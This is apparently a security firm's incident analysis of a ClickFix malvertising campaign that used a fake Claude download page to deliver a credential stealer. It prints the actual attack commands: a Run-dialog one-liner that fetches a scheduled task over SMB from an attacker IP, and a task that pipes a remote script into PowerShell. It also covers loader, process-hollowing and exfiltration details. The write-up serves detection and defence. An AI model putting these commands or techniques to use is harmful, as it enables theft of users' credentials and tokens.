What Happened

On May 15, 2026, We Secure responded to a credential-theft incident at a client organisation. The attack was fast, precise, and nearly invisible. From the moment the victim clicked, it took the malware just over two minutes to establish persistence, load a stealer into memory, and begin harvesting browser credentials, crypto-wallet keys, and Azure tokens.

The entry point was a fake Cloudflare verification page. The exit was a C2 server in Finland. Everything in between was engineered to avoid detection.

This post walks through how the campaign worked, what made it technically sophisticated, and what defenders should be looking for.

The Lure: A Malvertising Campaign Targeting Claude Searches

The attack did not start with the lure page. It started earlier with a Google Search. The victim was actively looking for Claude AI pricing, discounts, and free access options. The attacker purchased a Google Search ad campaign targeting those exact search terms, positioning the malicious result above all organic listings. The campaign has been attributed to Google Ads campaign ID 23843977596.

Pre-attack browser history

Browser history analysis reconstructed the victim’s search activity in the two minutes before the ad click. All four preceding visits were organic results — the malicious entry appeared only as a sponsored placement:

Because the lure page was hosted on Google’s own infrastructure, it carried a valid TLS certificate and bypassed reputation-based URL filtering without issue. A further client-side redirect was observed post-landing, indicating a payload delivery chain beyond the lure page itself, currently under investigation.

Linking evidence - Google Click ID (gclid)

The connection between the ad campaign and the lure page is confirmed through the gclid parameter, which appears with an identical value in both the ad click URL and the landing page URL.

The attack began with a Google Sites page designed to look like a legitimate software download page for a well-known AI assistant product.

The URL was structured to appear credible: sites.google.com/view/claude-desktop-version-19

Because it was hosted on Google's own infrastructure, it carried a valid TLS certificate and passed most reputation-based filters without issue. The page presented a polished, professional layout with download buttons, version numbers, and install statistics, all crafted to reduce suspicion.

When a visitor clicked to install, instead of a software download they were shown a fake Cloudflare verification prompt. It instructed them to press Win + R, open the Run dialog, and paste a command to "verify" they were human.

Stage 0: One Paste, Full Compromise

The clipboard-injected command looked like this:

# Pasted into Run by the victim
cmd.exe /c cmdkey /add:147.45.45.229 /user:guest &&
schtasks /Create /TN "Ptlbs" /XML "\\147.45.45.229\manp\pulse.xml" & REM I am not a robot - Cloudflare ID: kj4eqJy16x

‍

The REM I am not a robot suffix is a standard ClickFix cosmetic detail intended to make the command look harmless to anyone glancing at it. In reality, those two chained instructions did two things simultaneously.

First, they pre-seeded Windows Credential Manager with guest credentials pointing at the attacker's staging server, so the subsequent network fetch would authenticate silently.

Second, they registered a scheduled task named Ptlbs by pulling a task definition XML file over SMB from that same staging server.

The task was configured with a RegistrationTrigger, meaning it fired the moment it was created - no delay, no user login required.

Stage 1: Scheduled Task

The task definition (pulse.xml) fetched over SMB was lean and deliberately configured to minimise noise. The full structure:

<Task xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task" version="1.4">
  <Triggers>
    <RegistrationTrigger>
      <Enabled>true</Enabled>
    </RegistrationTrigger>
  </Triggers>
  <Principals>
    <Principal id="Author">
      <LogonType>InteractiveToken</LogonType>
      <RunLevel>LeastPrivilege</RunLevel>
    </Principal>
  </Principals>
  <Settings>
    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
    <StartWhenAvailable>true</StartWhenAvailable>
    <Enabled>true</Enabled>
    <AllowHardTerminate>true</AllowHardTerminate>
  </Settings>
  <Actions Context="Author">
    <Exec>
      <Command>conhost.exe</Command>
      <Arguments>-headless powershell -NoExit -Command "irm https://claudetopdesk.com/ | iex"</Arguments>
    </Exec>
  </Actions>
</Task>

Every field is a deliberate choice:

The result: persistence established approximately two seconds after the victim pressed Enter, with no elevation, no visible window, and no files written to disk beyond the XML that registered the task itself.

Stage 2: User-Agent Gating on claudetopdesk.com

The payload delivery endpoint did not serve the loader to everyone. The threat actor implemented a server-side filter that checked the User-Agent header on each incoming request and only returned the encrypted PowerShell loader to requests that looked like they came from PowerShell's own Invoke-RestMethod or Invoke-WebRequest cmdlets.

A request carrying a PowerShell user-agent received the full encrypted loader payload, ready for iex: User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1...

Stage 3: Five-Layer Loader Chain

The PowerShell script was approximately 10 MB of heavily padded junk code, with functional logic buried inside randomised variable names, no-op loops, and redundant calls. The real work happened across five stages:

Stage 0 PowerShell: AES decryption of an embedded byte array, loading the result into memory as a .NET assembly via System.Reflection.Assembly::Load.

Stage 1 .NET Loader: A compiled assembly (~10,100 methods, the majority junk) that decrypted a second AES layer and produced C# source code.

Stage 2  Runtime Compile: The .NET loader compiled that C# source in memory using CSharpCodeProvider.CompileAssemblyFromSource. The resulting code imported Windows APIs for process hollowing: VirtualAllocEx, WriteProcessMemory, ZwUnmapViewOfSection, SetThreadContext, ResumeThread.

Stage 3  Bitmap Steganography: An embedded bitmap resource (863×863 pixels) concealed the final payload in its red colour channel. Each byte was extracted via a simple XOR operation: (0xFF - red_channel_value) XOR 0x72. The extracted payload was a 744,769-byte native PE file.

Stage 4 Process Hollowing: The malware created a suspended notepad.exe process, unmapped its legitimate image, wrote the stealer payload into the resulting space, redirected execution to the payload's entry point, and resumed the thread. From that point on, notepad.exe was the stealer.

Stage 4: Credential Harvest

With the stealer running inside a hollowed notepad.exe, the first thing it did was establish a C2 connection to 95.216.103.172. From there it moved into collection,vspawning three headless browser child processes, each pointing at an isolated staging directory, each given a separate randomised subdirectory name under %LOCALAPPDATA%\noePol\.

Rather than re-implementing DPAPI decryption itself, the stealer copied relevant browser profile artifacts, Login Data, Cookies, Local State, into those staging directories and launched each browser headlessly against them. The browser's own decryption engine did the work. Clean, native, no crypto reimplementation required.

Observed process command lines

"C:\Program Files\Google\Chrome\Application\chrome.exe"
  -no-first-run -disable-extensions -headless -disable-logging -log-level=3
  -user-data-dir="C:\Users\[REDACTED]\AppData\Local\noePol\6a95a74b" about:blank

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"
  -no-first-run -disable-extensions -headless -disable-logging -log-level=3
  -user-data-dir="C:\Users\[REDACTED]\AppData\Local\noePol\98712a64" about:blank

"C:\Program Files\Mozilla Firefox\firefox.exe"
  -no-first-run -disable-extensions -headless -disable-logging -log-level=3
  -user-data-dir="C:\Users\[REDACTED]\AppData\Local\noePol\bec70ce9" about:blank

All three were spawned simultaneously at 09:55:14 UTC parallel execution to minimise dwell time.

Staging directory structure

The noePol directory has no legitimate software association its presence alone is a high-confidence indicator of compromise. The eight-character hex subdirectory names are generated per execution, likely derived from a hardware identifier, to prevent collision on re-infection.

%LOCALAPPDATA%\noePol\
├── 6a95a74b\   # Chrome profile staging
├── 98712a64\   # Edge profile staging
└── bec70ce9\   # Firefox profile staging

The noePol directory name has no legitimate software association and is a high-confidence indicator of compromise.

All collected data was exfiltrated to a single C2 endpoint: 95.216.103.172.

Victim Registration: Telegram and Steam

Separately from credential exfiltration, the stealer posted a victim registration beacon to two public platforms immediately after successful execution: a Telegram bot webhook and a Steam Community profile page. Both requests were observed in outbound netflow and reconstructed from network capture.

The payloads carried only two fields: a hardware fingerprint (hwid) derived from volume serial number, MAC address, and machine GUID, and a campaign build identifier (build_id) in MD5 format. No stolen credentials were included, these were purely operator notification beacons.

Request 1: Telegram bot webhook

POST /jr00ve HTTP/1.1
Host: telegram.me
Content-Type: multipart/form-data; boundary=----1d32bf0ae738695a2e37
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0
Cache-Control: no-cache
Connection: Keep-Alive

------1d32bf0ae738695a2e37
Content-Disposition: form-data; name="hwid"
[REDACTED]
------1d32bf0ae738695a2e37
Content-Disposition: form-data; name="build_id"
[REDACTED]
------1d32bf0ae738695a2e37--

Request 2: Steam Community dead drop

POST /profiles/76561198703616215 HTTP/1.1
Host: steamcommunity.com
Content-Type: multipart/form-data; boundary=----e08969319f51d7c6bc0b
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Safari/537.36 Edg/147.0.0.0
Cache-Control: no-cache
Connection: Keep-Alive

------e08969319f51d7c6bc0b
Content-Disposition: form-data; name="hwid"
[REDACTED]
------e08969319f51d7c6bc0b
Content-Disposition: form-data; name="build_id"
[REDACTED]
------e08969319f51d7c6bc0b--

The build_id allows the operator to correlate infections to specific distribution waves. The hwid enables per-victim deduplication so re-infections of the same machine are tracked separately.

Incident Timeline

The full compromise unfolded in 128 seconds:

Indicators of Compromise

Final Verdict

What made this campaign effective was not any single clever technique, it was the layering. Google Sites infrastructure for the lure. User-Agent gating to block automated analysis. A five-stage in-memory loader chain to avoid static detection. Process hollowing into a trusted Windows process. Browser-native DPAPI decryption to avoid reimplementing crypto. Steam as a backup notification channel.

Each layer was a measured choice. The entire operation was complete in under two minutes and eight seconds. And it started with one paste into the Windows Run dialog.

Campaigns like this succeed not because the techniques are new, but because they exploit a predictable gap between how fast people act and how slowly organisations build controls. The ClickFix vector in particular is effective precisely because it bypasses every technical layer and goes straight to the human. No exploit, no vulnerability, no patch to apply retroactively, just a convincing page and a moment of hesitation.

A few things will meaningfully reduce exposure to this class of attack:

Assume credentials are the target. Browser-saved passwords, cloud tokens, and crypto-wallet keys are the primary objective for stealers of this family. Treating them as high-value assets, not conveniences, changes how they get stored, monitored, and rotated.

Outbound SMB to the internet should not be possible. Blocking TCP/445 egress at the perimeter is a single firewall rule that would have severed the initial persistence mechanism in this case before the loader ever ran.

In-memory PowerShell is not invisible. Script Block Logging captures what gets executed regardless of obfuscation. If it is not enabled across your estate, you are operating with a significant blind spot for this entire class of threat.

Reputation-based tools have limits. A clean VirusTotal verdict is not a clearance. User-Agent gating, short-lived infrastructure, and legitimate platform abuse (Google Sites, Steam, Telegram) are all specifically designed to pass automated checks. Detection has to go deeper than reputation scoring.

Two minutes is not enough time to respond - but it is enough time to prevent. The controls that would have stopped this campaign, egress filtering, script block logging, user awareness of ClickFix mechanics, are all preventive. The window for detection and response after execution is extremely narrow.

If you suspect a similar incident in your environment, or want to understand your exposure to ClickFix-style delivery mechanisms, reach out to the We Secure team.

‍